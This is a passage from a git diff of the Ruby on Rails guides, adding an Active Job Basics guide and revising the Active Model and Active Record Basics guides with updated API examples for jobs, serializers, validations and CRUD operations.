-Then, we can run the application: +Then you could create special views like `app/views/articles/show.expert.html.erb` that would only be displayed to expert users. -```bash -$ ruby hello_world.rb -``` - -Once the application is running, you can see Sinatra and Action View working together by visiting `http://localhost:4567/` - -TODO needs a screenshot? I have one - not sure where to put it. +You can read more about the Rails Internationalization (I18n) API [here](i18n.html). diff --git a/guides/source/active_job_basics.md b/guides/source/active_job_basics.md new file mode 100644 index 0000000000..3046a62778 --- /dev/null +++ b/guides/source/active_job_basics.md @@ -0,0 +1,320 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + +Active Job Basics +================= + +This guide provides you with all you need to get started in creating, +enqueueing and executing background jobs. + +After reading this guide, you will know: + +* How to create jobs. +* How to enqueue jobs. +* How to run jobs in the background. +* How to send emails from your application async. + +-------------------------------------------------------------------------------- + + +Introduction +------------ + +Active Job is a framework for declaring jobs and making them run on a variety +of queueing backends. These jobs can be everything from regularly scheduled +clean-ups, to billing charges, to mailings. Anything that can be chopped up +into small units of work and run in parallel, really. + + +The Purpose of Active Job +----------------------------- +The main point is to ensure that all Rails apps will have a job infrastructure +in place, even if it's in the form of an "immediate runner". We can then have +framework features and other gems build on top of that, without having to +worry about API differences between various job runners such as Delayed Job +and Resque. Picking your queuing backend becomes more of an operational concern, +then. And you'll be able to switch between them without having to rewrite your jobs. + + +Creating a Job +-------------- + +This section will provide a step-by-step guide to creating a job and enqueuing it. + +### Create the Job + +Active Job provides a Rails generator to create jobs. The following will create a +job in `app/jobs` (with an attached test case under `test/jobs`): + +```bash +$ bin/rails generate job guests_cleanup +invoke test_unit +create test/jobs/guests_cleanup_job_test.rb +create app/jobs/guests_cleanup_job.rb +``` + +You can also create a job that will run on a specific queue: + +```bash +$ bin/rails generate job guests_cleanup --queue urgent +``` + +If you don't want to use a generator, you could create your own file inside of +`app/jobs`, just make sure that it inherits from `ActiveJob::Base`. + +Here's what a job looks like: + +```ruby +class GuestsCleanupJob < ActiveJob::Base + queue_as :default + + def perform(*args) + # Do something later + end +end +``` + +### Enqueue the Job + +Enqueue a job like so: + +```ruby +# Enqueue a job to be performed as soon the queueing system is free. +MyJob.perform_later record +``` + +```ruby +# Enqueue a job to be performed tomorrow at noon. +MyJob.set(wait_until: Date.tomorrow.noon).perform_later(record) +``` + +```ruby +# Enqueue a job to be performed 1 week from now. +MyJob.set(wait: 1.week).perform_later(record) +``` + +That's it! + + +Job Execution +------------- + +If no adapter is set, the job is immediately executed. + +### Backends + +Active Job has built-in adapters for multiple queueing backends (Sidekiq, +Resque, Delayed Job and others). To get an up-to-date list of the adapters +see the API Documentation for [ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html). + +### Setting the Backend + +You can easily set your queueing backend: + +```ruby +# config/application.rb +module YourApp + class Application < Rails::Application + # Be sure to have the adapter's gem in your Gemfile and follow + # the adapter's specific installation and deployment instructions. + config.active_job.queue_adapter = :sidekiq + end +end +``` + + +Queues +------ + +Most of the adapters support multiple queues. With Active Job you can schedule +the job to run on a specific queue: + +```ruby +class GuestsCleanupJob < ActiveJob::Base + queue_as :low_priority + #.... +end +``` + +You can prefix the queue name for all your jobs using +`config.active_job.queue_name_prefix` in `application.rb`: + +```ruby +# config/application.rb +module YourApp + class Application < Rails::Application + config.active_job.queue_name_prefix = Rails.env + end +end + +# app/jobs/guests_cleanup.rb +class GuestsCleanupJob < ActiveJob::Base + queue_as :low_priority + #.... +end + +# Now your job will run on queue production_low_priority on your +# production environment and on staging_low_priority on your staging +# environment +``` + +The default queue name prefix delimiter is '\_'. This can be changed by setting +`config.active_job.queue_name_delimiter` in `application.rb`: + +```ruby +# config/application.rb +module YourApp + class Application < Rails::Application + config.active_job.queue_name_prefix = Rails.env + config.active_job.queue_name_delimiter = '.' + end +end + +# app/jobs/guests_cleanup.rb +class GuestsCleanupJob < ActiveJob::Base + queue_as :low_priority + #.... +end + +# Now your job will run on queue production.low_priority on your +# production environment and on staging.low_priority on your staging +# environment +``` + +If you want more control on what queue a job will be run you can pass a `:queue` +option to `#set`: + +```ruby +MyJob.set(queue: :another_queue).perform_later(record) +``` + +To control the queue from the job level you can pass a block to `#queue_as`. The +block will be executed in the job context (so you can access `self.arguments`) +and you must return the queue name: + +```ruby +class ProcessVideoJob < ActiveJob::Base + queue_as do + video = self.arguments.first + if video.owner.premium? + :premium_videojobs + else + :videojobs + end + end + + def perform(video) + # do process video + end +end + +ProcessVideoJob.perform_later(Video.last) +``` + +NOTE: Make sure your queueing backend "listens" on your queue name. For some +backends you need to specify the queues to listen to. + + +Callbacks +--------- + +Active Job provides hooks during the life cycle of a job. Callbacks allow you to +trigger logic during the life cycle of a job. + +### Available callbacks + +* `before_enqueue` +* `around_enqueue` +* `after_enqueue` +* `before_perform` +* `around_perform` +* `after_perform` + +### Usage + +```ruby +class GuestsCleanupJob < ActiveJob::Base + queue_as :default + + before_enqueue do |job| + # do something with the job instance + end + + around_perform do |job, block| + # do something before perform + block.call + # do something after perform + end + + def perform + # Do something later + end +end +``` + + +Action Mailer +------------ + +One of the most common jobs in a modern web application is sending emails outside +of the request-response cycle, so the user doesn't have to wait on it. Active Job +is integrated with Action Mailer so you can easily send emails asynchronously: + +```ruby +# If you want to send the email now use #deliver_now +UserMailer.welcome(@user).deliver_now + +# If you want to send the email through Active Job use #deliver_later +UserMailer.welcome(@user).deliver_later +``` + + +GlobalID +-------- + +Active Job supports GlobalID for parameters. This makes it possible to pass live +Active Record objects to your job instead of class/id pairs, which you then have +to manually deserialize. Before, jobs would look like this: + +```ruby +class TrashableCleanupJob < ActiveJob::Base + def perform(trashable_class, trashable_id, depth) + trashable = trashable_class.constantize.find(trashable_id) + trashable.cleanup(depth) + end +end +``` + +Now you can simply do: + +```ruby +class TrashableCleanupJob < ActiveJob::Base + def perform(trashable, depth) + trashable.cleanup(depth) + end +end +``` + +This works with any class that mixes in `GlobalID::Identification`, which +by default has been mixed into Active Model classes. + + +Exceptions +---------- + +Active Job provides a way to catch exceptions raised during the execution of the +job: + +```ruby + +class GuestsCleanupJob < ActiveJob::Base + queue_as :default + + rescue_from(ActiveRecord::RecordNotFound) do |exception| + # do something with the exception + end + + def perform + # Do something later + end +end +``` diff --git a/guides/source/active_model_basics.md b/guides/source/active_model_basics.md index 68ac26c681..8dee1cc5ec 100644 --- a/guides/source/active_model_basics.md +++ b/guides/source/active_model_basics.md @@ -1,20 +1,34 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Active Model Basics =================== -This guide should provide you with all you need to get started using model classes. Active Model allows for Action Pack helpers to interact with non-Active Record models. Active Model also helps building custom ORMs for use outside of the Rails framework. +This guide should provide you with all you need to get started using model +classes. Active Model allows for Action Pack helpers to interact with +plain Ruby objects. Active Model also helps build custom ORMs for use +outside of the Rails framework. + +After reading this guide, you will be able to add to plain Ruby objects: -After reading this guide, you will know: +* The ability to behave like an Active Record model. +* Callbacks and validations like Active Record. +* Serializers. +* Integration with the Rails internationalization (i18n) framework. -------------------------------------------------------------------------------- Introduction ------------ -Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below. +Active Model is a library containing various modules used in developing +classes that need some features present on Active Record. +Some of these modules are explained below. -### AttributeMethods +### Attribute Methods -The AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes, which methods on the object will use them. +The `ActiveModel::AttributeMethods` module can add custom prefixes and suffixes +on methods of a class. It is used by defining the prefixes and suffixes and +which methods on the object will use them. ```ruby class Person @@ -38,14 +52,17 @@ end person = Person.new person.age = 110 -person.age_highest? # true -person.reset_age # 0 -person.age_highest? # false +person.age_highest? # => true +person.reset_age # => 0 +person.age_highest? # => false ``` ### Callbacks -Callbacks gives Active Record style callbacks. This provides the ability to define the callbacks and those will run at appropriate time. After defining a callbacks you can wrap with before, after and around custom methods. +`ActiveModel::Callbacks` gives Active Record style callbacks. This provides an +ability to define callbacks which run at appropriate times. +After defining callbacks, you can wrap them with before, after and around +custom methods. ```ruby class Person @@ -57,19 +74,21 @@ class Person def update run_callbacks(:update) do - # This will call when we are trying to call update on object. + # This method is called when update is called on an object. end end def reset_me - # This method will call when you are calling update on object as a before_update callback as defined. + # This method is called when update is called on an object as a before_update callback is defined. end end ``` ### Conversion -If a class defines `persisted?` and `id` methods then you can include `Conversion` module in that class and you can able to call Rails conversion methods to objects of that class. +If a class defines `persisted?` and `id` methods, then you can include the +`ActiveModel::Conversion` module in that class and call the Rails conversion +methods on objects of that class. ```ruby class Person @@ -92,11 +111,13 @@ person.to_param # => nil ### Dirty -An object becomes dirty when it has gone through one or more changes to its attributes and has not been saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Let's consider a Person class with attributes `first_name` and `last_name`: +An object becomes dirty when it has gone through one or more changes to its +attributes and has not been saved. `ActiveModel::Dirty` gives the ability to +check whether an object has been changed or not. It also has attribute based +accessor methods. Let's consider a Person class with attributes `first_name` +and `last_name`: ```ruby -require 'active_model' - class Person include ActiveModel::Dirty define_attribute_methods :first_name, :last_name @@ -120,8 +141,8 @@ class Person end def save - @previously_changed = changes # do save work... + changes_applied end end ``` @@ -162,10 +183,11 @@ Track what was the previous value of the attribute. ```ruby # attr_name_was accessor -person.first_name_was # => "First Name" +person.first_name_was # => nil ``` -Track both previous and current value of the changed attribute. Returns an array if changed, else returns nil. +Track both previous and current value of the changed attribute. Returns an array +if changed, else returns nil. ```ruby # attr_name_change @@ -175,7 +197,8 @@ person.last_name_change # => nil ### Validations -Validations module adds the ability to class objects to validate them in Active Record style. +`ActiveModel::Validations` module adds the ability to validate class objects +like in Active Record. ```ruby class Person @@ -188,7 +211,8 @@ class Person validates! :token, presence: true end -person = Person.new(token: "2b1f325") +person = Person.new +person.token = "2b1f325" person.valid? # => false person.name = 'vishnu' person.email = 'me' @@ -198,3 +222,335 @@ person.valid? # => true person.token = nil person.valid? # => raises ActiveModel::StrictValidationFailed ``` + +### Naming + +`ActiveModel::Naming` adds a number of class methods which make the naming and routing +easier to manage. The module defines the `model_name` class method which +will define a number of accessors using some `ActiveSupport::Inflector` methods. + +```ruby +class Person + extend ActiveModel::Naming +end + +Person.model_name.name # => "Person" +Person.model_name.singular # => "person" +Person.model_name.plural # => "people" +Person.model_name.element # => "person" +Person.model_name.human # => "Person" +Person.model_name.collection # => "people" +Person.model_name.param_key # => "person" +Person.model_name.i18n_key # => :person +Person.model_name.route_key # => "people" +Person.model_name.singular_route_key # => "person" +``` + +### Model + +`ActiveModel::Model` adds the ability to a class to work with Action Pack and +Action View right out of the box. + +```ruby +class EmailContact + include ActiveModel::Model + + attr_accessor :name, :email, :message + validates :name, :email, :message, presence: true + + def deliver + if valid? + # deliver email + end + end +end +``` + +When including `ActiveModel::Model` you get some features like: + +- model name introspection +- conversions +- translations +- validations + +It also gives you the ability to initialize an object with a hash of attributes, +much like any Active Record object. + +```ruby +email_contact = EmailContact.new(name: 'David', + email: 'david@example.com', + message: 'Hello World') +email_contact.name # => 'David' +email_contact.email # => 'david@example.com' +email_contact.valid? # => true +email_contact.persisted? # => false +``` + +Any class that includes `ActiveModel::Model` can be used with `form_for`, +`render` and any other Action View helper methods, just like Active Record +objects. + +### Serialization + +`ActiveModel::Serialization` provides a basic serialization for your object. +You need to declare an attributes hash which contains the attributes you want to +serialize. Attributes must be strings, not symbols. + +```ruby +class Person + include ActiveModel::Serialization + + attr_accessor :name + + def attributes + {'name' => nil} + end +end +``` + +Now you can access a serialized hash of your object using the `serializable_hash`. + +```ruby +person = Person.new +person.serializable_hash # => {"name"=>nil} +person.name = "Bob" +person.serializable_hash # => {"name"=>"Bob"} +``` + +#### ActiveModel::Serializers + +Rails provides two serializers `ActiveModel::Serializers::JSON` and +`ActiveModel::Serializers::Xml`. Both of these modules automatically include +the `ActiveModel::Serialization`. + +##### ActiveModel::Serializers::JSON + +To use the `ActiveModel::Serializers::JSON` you only need to change from +`ActiveModel::Serialization` to `ActiveModel::Serializers::JSON`. + +```ruby +class Person + include ActiveModel::Serializers::JSON + + attr_accessor :name + + def attributes + {'name' => nil} + end +end +``` + +With the `as_json` you have a hash representing the model. + +```ruby +person = Person.new +person.as_json # => {"name"=>nil} +person.name = "Bob" +person.as_json # => {"name"=>"Bob"} +``` + +From a JSON string you define the attributes of the model. +You need to have the `attributes=` method defined on your class: + +```ruby +class Person + include ActiveModel::Serializers::JSON + + attr_accessor :name + + def attributes=(hash) + hash.each do |key, value| + send("#{key}=", value) + end + end + + def attributes + {'name' => nil} + end +end +``` + +Now it is possible to create an instance of person and set the attributes using `from_json`. + +```ruby +json = { name: 'Bob' }.to_json +person = Person.new +person.from_json(json) # => #<Person:0x00000100c773f0 @name="Bob"> +person.name # => "Bob" +``` + +##### ActiveModel::Serializers::Xml + +To use the `ActiveModel::Serializers::Xml` you only need to change from +`ActiveModel::Serialization` to `ActiveModel::Serializers::Xml`. + +```ruby +class Person + include ActiveModel::Serializers::Xml + + attr_accessor :name + + def attributes + {'name' => nil} + end +end +``` + +With the `to_xml` you have a XML representing the model. + +```ruby +person = Person.new +person.to_xml # => "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<person>\n <name nil=\"true\"/>\n</person>\n" +person.name = "Bob" +person.to_xml # => "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<person>\n <name>Bob</name>\n</person>\n" +``` + +From a XML string you define the attributes of the model. +You need to have the `attributes=` method defined on your class: + +```ruby +class Person + include ActiveModel::Serializers::Xml + + attr_accessor :name + + def attributes=(hash) + hash.each do |key, value| + send("#{key}=", value) + end + end + + def attributes + {'name' => nil} + end +end +``` + +Now it is possible to create an instance of person and set the attributes using `from_xml`. + +```ruby +xml = { name: 'Bob' }.to_xml +person = Person.new +person.from_xml(xml) # => #<Person:0x00000100c773f0 @name="Bob"> +person.name # => "Bob" +``` + +### Translation + +`ActiveModel::Translation` provides integration between your object and the Rails +internationalization (i18n) framework. + +```ruby +class Person + extend ActiveModel::Translation +end +``` + +With the `human_attribute_name` you can transform attribute names into a more +human format. The human format is defined in your locale file. + +* config/locales/app.pt-BR.yml + + ```yml + pt-BR: + activemodel: + attributes: + person: + name: 'Nome' + ``` + +```ruby +Person.human_attribute_name('name') # => "Nome" +``` + +### Lint Tests + +`ActiveModel::Lint::Tests` allow you to test whether an object is compliant with +the Active Model API. + +* app/models/person.rb + + ```ruby + class Person + include ActiveModel::Model + + end + ``` + +* test/models/person_test.rb + + ```ruby + require 'test_helper' + + class PersonTest < ActiveSupport::TestCase + include ActiveModel::Lint::Tests + + def setup + @model = Person.new + end + end + ``` + +```bash +$ rake test + +Run options: --seed 14596 + +# Running: + +...... + +Finished in 0.024899s, 240.9735 runs/s, 1204.8677 assertions/s. + +6 runs, 30 assertions, 0 failures, 0 errors, 0 skips +``` + +An object is not required to implement all APIs in order to work with +Action Pack. This module only intends to provide guidance in case you want all +features out of the box. + +### SecurePassword + +`ActiveModel::SecurePassword` provides a way to securely store any +password in an encrypted form. On including this module, a +`has_secure_password` class method is provided which defines +an accessor named `password` with certain validations on it. + +#### Requirements + +`ActiveModel::SecurePassword` depends on the [`bcrypt`](https://github.com/codahale/bcrypt-ruby 'BCrypt'), +so include this gem in your Gemfile to use `ActiveModel::SecurePassword` correctly. +In order to make this work, the model must have an accessor named `password_digest`. +The `has_secure_password` will add the following validations on the `password` accessor: + +1. Password should be present. +2. Password should be equal to its confirmation. +3. This maximum length of a password is 72 (required by `bcrypt` on which ActiveModel::SecurePassword depends) + +#### Examples + +```ruby +class Person + include ActiveModel::SecurePassword + has_secure_password + attr_accessor :password_digest +end + +person = Person.new + +# When password is blank. +person.valid? # => false + +# When the confirmation doesn't match the password. +person.password = 'aditya' +person.password_confirmation = 'nomatch' +person.valid? # => false + +# When the length of password, exceeds 72. +person.password = person.password_confirmation = 'a' * 100 +person.valid? # => false + +# When all validations are passed. +person.password = person.password_confirmation = 'aditya' +person.valid? # => true +``` diff --git a/guides/source/active_record_basics.md b/guides/source/active_record_basics.md index 883c2dda4a..9d2ba328ea 100644 --- a/guides/source/active_record_basics.md +++ b/guides/source/active_record_basics.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Active Record Basics ==================== @@ -5,10 +7,10 @@ This guide is an introduction to Active Record. After reading this guide, you will know: -* What Object Relational Mapping and Active Record are and how they are used in +* What Object Relational Mapping and Active Record are and how they are used in Rails. * How Active Record fits into the Model-View-Controller paradigm. -* How to use Active Record models to manipulate data stored in a relational +* How to use Active Record models to manipulate data stored in a relational database. * Active Record schema naming conventions. * The concepts of database migrations, validations and callbacks. @@ -18,115 +20,118 @@ After reading this guide, you will know: What is Active Record? ---------------------- -Active Record is the M in [MVC](getting_started.html#the-mvc-architecture) - the -model - which is the layer of the system responsible for representing business -data and logic. Active Record facilitates the creation and use of business -objects whose data requires persistent storage to a database. It is an -implementation of the Active Record pattern which itself is a description of an +Active Record is the M in [MVC](getting_started.html#the-mvc-architecture) - the +model - which is the layer of the system responsible for representing business +data and logic. Active Record facilitates the creation and use of business +objects whose data requires persistent storage to a database. It is an +implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system. ### The Active Record Pattern -Active Record was described by Martin Fowler in his book _Patterns of Enterprise -Application Architecture_. In Active Record, objects carry both persistent data -and behavior which operates on that data. Active Record takes the opinion that -ensuring data access logic is part of the object will educate users of that +[Active Record was described by Martin Fowler](http://www.martinfowler.com/eaaCatalog/activeRecord.html) +in his book _Patterns of Enterprise Application Architecture_. In +Active Record, objects carry both persistent data and behavior which +operates on that data. Active Record takes the opinion that ensuring +data access logic as part of the object will educate users of that object on how to write to and read from the database. ### Object Relational Mapping -Object-Relational Mapping, commonly referred to as its abbreviation ORM, is -a technique that connects the rich objects of an application to tables in -a relational database management system. Using ORM, the properties and -relationships of the objects in an application can be easily stored and -retrieved from a database without writing SQL statements directly and with less +Object-Relational Mapping, commonly referred to as its abbreviation ORM, is +a technique that connects the rich objects of an application to tables in +a relational database management system. Using ORM, the properties and +relationships of the objects in an application can be easily stored and +retrieved from a database without writing SQL statements directly and with less overall database access code. ### Active Record as an ORM Framework -Active Record gives us several mechanisms, the most important being the ability +Active Record gives us several mechanisms, the most important being the ability to: -* Represent models and their data -* Represent associations between these models -* Represent inheritance hierarchies through related models -* Validate models before they get persisted to the database +* Represent models and their data. +* Represent associations between these models. +* Represent inheritance hierarchies through related models. +* Validate models before they get persisted to the database. * Perform database operations in an object-oriented fashion. Convention over Configuration in Active Record ---------------------------------------------- -When writing applications using other programming languages or frameworks, it -may be necessary to write a lot of configuration code. This is particularly true -for ORM frameworks in general. However, if you follow the conventions adopted by -Rails, you'll need to write very little configuration (in some case no -configuration at all) when creating Active Record models. The idea is that if -you configure your applications in the very same way most of the times then this -should be the default way. In this cases, explicit configuration would be needed -only in those cases where you can't follow the conventions for any reason. +When writing applications using other programming languages or frameworks, it +may be necessary to write a lot of configuration code. This is particularly true +for ORM frameworks in general. However, if you follow the conventions adopted by +Rails, you'll need to write very little configuration (in some case no +configuration at all) when creating Active Record models. The idea is that if +you configure your applications in the very same way most of the time then this +should be the default way. Thus, explicit configuration would be needed +only in those cases where you can't follow the standard convention. ### Naming Conventions -By default, Active Record uses some naming conventions to find out how the -mapping between models and database tables should be created. Rails will -pluralize your class names to find the respective database table. So, for -a class `Book`, you should have a database table called **books**. The Rails -pluralization mechanisms are very powerful, being capable to pluralize (and -singularize) both regular and irregular words. When using class names composed -of two or more words, the model class name should follow the Ruby conventions, -using the CamelCase form, while the table name must contain the words separated +By default, Active Record uses some naming conventions to find out how the +mapping between models and database tables should be created. Rails will +pluralize your class names to find the respective database table. So, for +a class `Book`, you should have a database table called **books**. The Rails +pluralization mechanisms are very powerful, being capable to pluralize (and +singularize) both regular and irregular words. When using class names composed +of two or more words, the model class name should follow the Ruby conventions, +using the CamelCase form, while the table name must contain the words separated by underscores. Examples: -* Database Table - Plural with underscores separating words (e.g., `book_clubs`) -* Model Class - Singular with the first letter of each word capitalized (e.g., -`BookClub`) +* Database Table - Plural with underscores separating words (e.g., `book_clubs`). +* Model Class - Singular with the first letter of each word capitalized (e.g., +`BookClub`). -| Model / Class | Table / Schema | -| ------------- | -------------- | -| `Post` | `posts` | -| `LineItem` | `line_items` | -| `Deer` | `deer` | -| `Mouse` | `mice` | -| `Person` | `people` | +| Model / Class | Table / Schema | +| ---------------- | -------------- | +| `Article` | `articles` | +| `LineItem` | `line_items` | +| `Deer` | `deers` | +| `Mouse` | `mice` | +| `Person` | `people` | ### Schema Conventions -Active Record uses naming conventions for the columns in database tables, +Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns. -* **Foreign keys** - These fields should be named following the pattern - `singularized_table_name_id` (e.g., `item_id`, `order_id`). These are the - fields that Active Record will look for when you create associations between +* **Foreign keys** - These fields should be named following the pattern + `singularized_table_name_id` (e.g., `item_id`, `order_id`). These are the + fields that Active Record will look for when you create associations between your models. -* **Primary keys** - By default, Active Record will use an integer column named - `id` as the table's primary key. When using [Rails - Migrations](migrations.html) to create your tables, this column will be +* **Primary keys** - By default, Active Record will use an integer column named + `id` as the table's primary key. When using [Active Record + Migrations](migrations.html) to create your tables, this column will be automatically created. -There are also some optional column names that will create additional features +There are also some optional column names that will add additional features to Active Record instances: -* `created_at` - Automatically gets set to the current date and time when the +* `created_at` - Automatically gets set to the current date and time when the record is first created. -* `updated_at` - Automatically gets set to the current date and time whenever +* `updated_at` - Automatically gets set to the current date and time whenever the record is updated. -* `lock_version` - Adds [optimistic - locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to +* `lock_version` - Adds [optimistic + locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to a model. -* `type` - Specifies that the model uses [Single Table - Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html) -* `(table_name)_count` - Used to cache the number of belonging objects on - associations. For example, a `comments_count` column in a `Post` class that - has many instances of `Comment` will cache the number of existent comments - for each post. +* `type` - Specifies that the model uses [Single Table + Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html#class-ActiveRecord::Base-label-Single+table+inheritance). +* `(association_name)_type` - Stores the type for + [polymorphic associations](association_basics.html#polymorphic-associations). +* `(table_name)_count` - Used to cache the number of belonging objects on + associations. For example, a `comments_count` column in a `Articles` class that + has many instances of `Comment` will cache the number of existent comments + for each article. NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, `type` is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. Creating Active Record Models ----------------------------- -It is very easy to create Active Record models. All you have to do is to +It is very easy to create Active Record models. All you have to do is to subclass the `ActiveRecord::Base` class and you're good to go: ```ruby @@ -134,9 +139,9 @@ class Product < ActiveRecord::Base end ``` -This will create a `Product` model, mapped to a `products` table at the -database. By doing this you'll also have the ability to map the columns of each -row in that table with the attributes of the instances of your model. Suppose +This will create a `Product` model, mapped to a `products` table at the +database. By doing this you'll also have the ability to map the columns of each +row in that table with the attributes of the instances of your model. Suppose that the `products` table was created using an SQL sentence like: ```sql @@ -147,7 +152,7 @@ CREATE TABLE products ( ); ``` -Following the table schema above, you would be able to write code like the +Following the table schema above, you would be able to write code like the following: ```ruby @@ -159,11 +164,11 @@ puts p.name # "Some Book" Overriding the Naming Conventions --------------------------------- -What if you need to follow a different naming convention or need to use your -Rails application with a legacy database? No problem, you can easily override +What if you need to follow a different naming convention or need to use your +Rails application with a legacy database? No problem, you can easily override the default conventions. -You can use the `ActiveRecord::Base.table_name=` method to specify the table +You can use the `ActiveRecord::Base.table_name=` method to specify the table name that should be used: ```ruby @@ -172,41 +177,41 @@ class Product < ActiveRecord::Base end ``` -If you do so, you will have to define manually the class name that is hosting -the fixtures (class_name.yml) using the `set_fixture_class` method in your test +If you do so, you will have to define manually the class name that is hosting +the fixtures (class_name.yml) using the `set_fixture_class` method in your test definition: ```ruby class FunnyJoke < ActiveSupport::TestCase - set_fixture_class funny_jokes: 'Joke' + set_fixture_class funny_jokes: Joke fixtures :funny_jokes ... end ``` -It's also possible to override the column that should be used as the table's -primary key using the `ActiveRecord::Base.set_primary_key` method: +It's also possible to override the column that should be used as the table's +primary key using the `ActiveRecord::Base.primary_key=` method: ```ruby class Product < ActiveRecord::Base - set_primary_key "product_id" + self.primary_key = "product_id" end ``` CRUD: Reading and Writing Data ------------------------------ -CRUD is an acronym for the four verbs we use to operate on data: **C**reate, -**R**ead, **U**pdate and **D**elete. Active Record automatically creates methods +CRUD is an acronym for the four verbs we use to operate on data: **C**reate, +**R**ead, **U**pdate and **D**elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables. ### Create -Active Record objects can be created from a hash, a block or have their -attributes manually set after creation. The `new` method will return a new +Active Record objects can be created from a hash, a block or have their +attributes manually set after creation. The `new` method will return a new object while `create` will return the object and save it to the database. -For example, given a model `User` with attributes of `name` and `occupation`, +For example, given a model `User` with attributes of `name` and `occupation`, the `create` method call will create and save a new record into the database: ```ruby @@ -223,7 +228,7 @@ user.occupation = "Code Artist" A call to `user.save` will commit the record to the database. -Finally, if a block is provided, both `create` and `new` will yield the new +Finally, if a block is provided, both `create` and `new` will yield the new object to that block for initialization: ```ruby @@ -235,22 +240,22 @@ end ### Read -Active Record provides a rich API for accessing data within a database. Below +Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record. ```ruby -# return array with all records +# return a collection with all users users = User.all ``` ```ruby -# return the first record +# return the first user user = User.first ``` ```ruby # return the first user named David -david = User.find_by_name('David') +david = User.find_by(name: 'David') ``` ```ruby @@ -258,30 +263,30 @@ david = User.find_by_name('David') users = User.where(name: 'David', occupation: 'Code Artist').order('created_at DESC') ``` -You can learn more about querying an Active Record model in the [Active Record +You can learn more about querying an Active Record model in the [Active Record Query Interface](active_record_querying.html) guide. ### Update -Once an Active Record object has been retrieved, its attributes can be modified +Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database. ```ruby -user = User.find_by_name('David') +user = User.find_by(name: 'David') user.name = 'Dave' user.save ``` -A shorthand for this is to use a hash mapping attribute names to the desired +A shorthand for this is to use a hash mapping attribute names to the desired value, like so: ```ruby -user = User.find_by_name('David') -user.update_attributes(name: 'Dave') +user = User.find_by(name: 'David') +user.update(name: 'Dave') ``` -This is most useful when updating several attributes at once. If, on the other -hand, you'd like to update several records in bulk, you may find the +This is most useful when updating several attributes at once. If, on the other +hand, you'd like to update several records in bulk, you may find the `update_all` class method useful: ```ruby @@ -290,57 +295,58 @@ User.update_all "max_login_attempts = 3, must_change_password = 'true'" ### Delete -Likewise, once retrieved an Active Record object can be destroyed which removes +Likewise, once retrieved an Active Record object can be destroyed which removes it from the database. ```ruby -user = User.find_by_name('David') +user = User.find_by(name: 'David') user.destroy ``` Validations ----------- -Active Record allows you to validate the state of a model before it gets written -into the database. There are several methods that you can use to check your -models and validate that an attribute value is not empty, is unique and not +Active Record allows you to validate the state of a model before it gets written +into the database. There are several methods that you can use to check your +models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. -Validation is a very important issue to consider when persisting to database, so -the methods `create`, `save` and `update_attributes` take it into account when -running: they return `false` when validation fails and they didn't actually -perform any operation on database. All of these have a bang counterpart (that -is, `create!`, `save!` and `update_attributes!`), which are stricter in that -they raise the exception `ActiveRecord::RecordInvalid` if validation fails. +Validation is a very important issue to consider when persisting to the database, so +the methods `save` and `update` take it into account when +running: they return `false` when validation fails and they didn't actually +perform any operation on the database. All of these have a bang counterpart (that +is, `save!` and `update!`), which are stricter in that +they raise the exception `ActiveRecord::RecordInvalid` if validation fails. A quick example to illustrate: ```ruby class User < ActiveRecord::Base - validates_presence_of :name + validates :name, presence: true end -User.create # => false -User.create! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank +user = User.new +user.save # => false +user.save! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank ``` -You can learn more about validations in the [Active Record Validations +You can learn more about validations in the [Active Record Validations guide](active_record_validations.html). Callbacks --------- -Active Record callbacks allow you to attach code to certain events in the -life-cycle of your models. This enables you to add behavior to your models by -transparently executing code when those events occur, like when you create a new -record, update it, destroy it and so on. You can learn more about callbacks in +Active Record callbacks allow you to attach code to certain events in the +life-cycle of your models. This enables you to add behavior to your models by +transparently executing code when those events occur, like when you create a new +record, update it, destroy it and so on. You can learn more about callbacks in the [Active Record Callbacks guide](active_record_callbacks.html). Migrations ---------- -Rails provides a domain-specific language for managing a database schema called -migrations. Migrations are stored in files which are executed against any -database that Active Record support using `rake`. Here's a migration that +Rails provides a domain-specific language for managing a database schema called +migrations. Migrations are stored in files which are executed against any +database that Active Record supports using `rake`. Here's a migration that creates a table: ```ruby @@ -354,17 +360,17 @@ class CreatePublications < ActiveRecord::Migration t.string :publisher_type t.boolean :single_issue - t.timestamps + t.timestamps null: false end add_index :publications, :publication_type_id end end ``` -Rails keeps track of which files have been committed to the database and +Rails keeps track of which files have been committed to the database and provides rollback features. To actually create the table, you'd run `rake db:migrate` and to roll it back, `rake db:rollback`. -Note that the above code is database-agnostic: it will run in MySQL, postgresql, -Oracle and others. You can learn more about migrations in the [Active Record -Migrations guide](migrations.html) +Note that the above code is database-agnostic: it will run in MySQL, +PostgreSQL, Oracle and others. You can learn more about migrations in the +[Active Record Migrations guide](migrations.html). diff --git a/guides/source/active_record_callbacks.md b/guides/source/active_record_callbacks.md index 0a93f61f6d..9d3a8c3af6 100644 --- a/guides/source/active_record_callbacks.md +++ 